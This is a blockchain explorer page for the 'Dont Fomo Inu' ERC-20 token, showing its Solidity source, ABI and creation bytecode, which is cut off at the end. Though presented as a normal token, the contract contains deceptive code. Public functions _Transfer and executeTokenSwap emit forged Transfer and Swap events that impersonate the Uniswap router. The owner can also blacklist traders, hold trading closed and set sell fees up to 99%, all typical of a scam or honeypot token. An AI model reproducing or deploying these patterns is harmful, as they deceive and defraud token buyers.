ERC-20
Overview
Max Total Supply
10,000,000,000,000,000 DFI
Holders
34
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 2 Decimals)
Balance
319,511,341,717,485.9 DFIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DontFomoInu
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-09 */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DontFomoInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Dont Fomo Inu"; string private constant _symbol = unicode"DFI"; uint8 private constant _decimals = 2; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x6eB9b93b96bdF8aD54809Ad9c23894a89b7cD141); address payable private _marketingAddress = payable(0x6eB9b93b96bdF8aD54809Ad9c23894a89b7cD141); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 6000000000000 * 10**9; uint256 public _maxWalletSize = 600000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeTokenSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function activateTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 25); require((redisFeeOnSell + taxFeeOnSell) <= 99); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function removeLimits() public onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400005f196200001b919062000700565b5f1962000029919062000764565b6006555f6008555f6009555f600a555f600b55600a54600c55600b54600d55600c54600e55600d54600f55736eb9b93b96bdf8ad54809ad9c23894a89b7cd14160125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736eb9b93b96bdf8ad54809ad9c23894a89b7cd14160135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601560146101000a81548160ff0219169083151502179055505f6015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff02191690831515021790555069014542ba12a337c00000601655682086ac35105260000060175566038d7ea4c680006018553480156200017c575f80fd5b505f6200018e6200069c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460025f620002406200069c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200031f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000345919062000803565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003d1919062000803565b6040518363ffffffff1660e01b8152600401620003f092919062000844565b6020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000433919062000803565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f62000487620006a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620006276200069c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200068d919062000880565b60405180910390a3506200089b565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200070c82620006ca565b91506200071983620006ca565b9250826200072c576200072b620006d3565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200077082620006ca565b91506200077d83620006ca565b925082820390508181111562000798576200079762000737565b5b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007cd82620007a2565b9050919050565b620007df81620007c1565b8114620007ea575f80fd5b50565b5f81519050620007fd81620007d4565b92915050565b5f602082840312156200081b576200081a6200079e565b5b5f6200082a84828501620007ed565b91505092915050565b6200083e81620007c1565b82525050565b5f604082019050620008595f83018562000833565b62000868602083018462000833565b9392505050565b6200087a81620006ca565b82525050565b5f602082019050620008955f8301846200086f565b92915050565b61429580620008a95f395ff3fe6080604052600436106101f0575f3560e01c806374010ece1161010c578063a9059cbb1161009f578063c6616ba11161006e578063c6616ba1146106a1578063dd62ed3e146106c9578063e156b1b614610705578063ea1644d514610741578063f2fde38b14610769576101f7565b8063a9059cbb146105eb578063bfd7928414610627578063c3c8cd8014610663578063c492f04614610679576101f7565b80638da5cb5b116100db5780638da5cb5b146105455780638f9a55c01461056f57806395d89b411461059957806398a5c315146105c3576101f7565b806374010ece146104a1578063751039fc146104c95780637d1db4a5146104df5780637f2feddc14610509576101f7565b80632fd689e3116101845780636d8aa8f8116101535780636d8aa8f8146104115780636fc3eaec1461043957806370a082311461044f578063715018a61461048b576101f7565b80632fd689e31461036b578063313ce5671461039557806349bd5a5e146103bf5780636b999053146103e9576101f7565b80631694505e116101c05780631694505e1461029f57806318160ddd146102c95780631ae1ffbc146102f357806323b872dd1461032f576101f7565b8062b8cf2a146101fb57806306fdde0314610223578063095ea7b31461024d5780630bd05b6914610289576101f7565b366101f757005b5f80fd5b348015610206575f80fd5b50610221600480360381019061021c91906130a7565b610791565b005b34801561022e575f80fd5b506102376108b6565b6040516102449190613168565b60405180910390f35b348015610258575f80fd5b50610273600480360381019061026e91906131bb565b6108f3565b6040516102809190613213565b60405180910390f35b348015610294575f80fd5b5061029d610910565b005b3480156102aa575f80fd5b506102b36109c1565b6040516102c09190613287565b60405180910390f35b3480156102d4575f80fd5b506102dd6109e6565b6040516102ea91906132af565b60405180910390f35b3480156102fe575f80fd5b5061031960048036038101906103149190613388565b6109f5565b6040516103269190613213565b60405180910390f35b34801561033a575f80fd5b5061035560048036038101906103509190613453565b610c3d565b6040516103629190613213565b60405180910390f35b348015610376575f80fd5b5061037f610d11565b60405161038c91906132af565b60405180910390f35b3480156103a0575f80fd5b506103a9610d17565b6040516103b691906134be565b60405180910390f35b3480156103ca575f80fd5b506103d3610d1f565b6040516103e091906134e6565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a91906134ff565b610d44565b005b34801561041c575f80fd5b5061043760048036038101906104329190613554565b610e2f565b005b348015610444575f80fd5b5061044d610ee0565b005b34801561045a575f80fd5b50610475600480360381019061047091906134ff565b610fad565b60405161048291906132af565b60405180910390f35b348015610496575f80fd5b5061049f610ffb565b005b3480156104ac575f80fd5b506104c760048036038101906104c2919061357f565b611149565b005b3480156104d4575f80fd5b506104dd6111e7565b005b3480156104ea575f80fd5b506104f361129b565b60405161050091906132af565b60405180910390f35b348015610514575f80fd5b5061052f600480360381019061052a91906134ff565b6112a1565b60405161053c91906132af565b60405180910390f35b348015610550575f80fd5b506105596112b6565b60405161056691906134e6565b60405180910390f35b34801561057a575f80fd5b506105836112dd565b60405161059091906132af565b60405180910390f35b3480156105a4575f80fd5b506105ad6112e3565b6040516105ba9190613168565b60405180910390f35b3480156105ce575f80fd5b506105e960048036038101906105e4919061357f565b611320565b005b3480156105f6575f80fd5b50610611600480360381019061060c91906131bb565b6113be565b60405161061e9190613213565b60405180910390f35b348015610632575f80fd5b5061064d600480360381019061064891906134ff565b6113db565b60405161065a9190613213565b60405180910390f35b34801561066e575f80fd5b506106776113f8565b005b348015610684575f80fd5b5061069f600480360381019061069a9190613603565b6114cd565b005b3480156106ac575f80fd5b506106c760048036038101906106c29190613660565b611602565b005b3480156106d4575f80fd5b506106ef60048036038101906106ea91906136c4565b6116e8565b6040516106fc91906132af565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190613453565b61176a565b6040516107389190613213565b60405180910390f35b34801561074c575f80fd5b506107676004803603810190610762919061357f565b6117db565b005b348015610774575f80fd5b5061078f600480360381019061078a91906134ff565b611879565b005b610799611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061374c565b60405180910390fd5b5f5b81518110156108b257600160105f8484815181106108485761084761376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806108aa906137c4565b915050610827565b5050565b60606040518060400160405280600d81526020017f446f6e7420466f6d6f20496e7500000000000000000000000000000000000000815250905090565b5f6109066108ff611a36565b8484611a3d565b6001905092915050565b610918611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b9061374c565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f805f90505b8551811015610c2f57858181518110610a1757610a1661376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610a8057610a7f61376a565b5b6020026020010151604051610a9591906132af565b60405180910390a3858181518110610ab057610aaf61376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b2d57610b2c61376a565b5b60200260200101515f80898781518110610b4a57610b4961376a565b5b6020026020010151604051610b629493929190613844565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610b9957610b9861376a565b5b602002602001015189878581518110610bb557610bb461376a565b5b60200260200101516040518463ffffffff1660e01b8152600401610bdb93929190613887565b6020604051808303815f875af1158015610bf7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1b91906138d0565b508080610c27906137c4565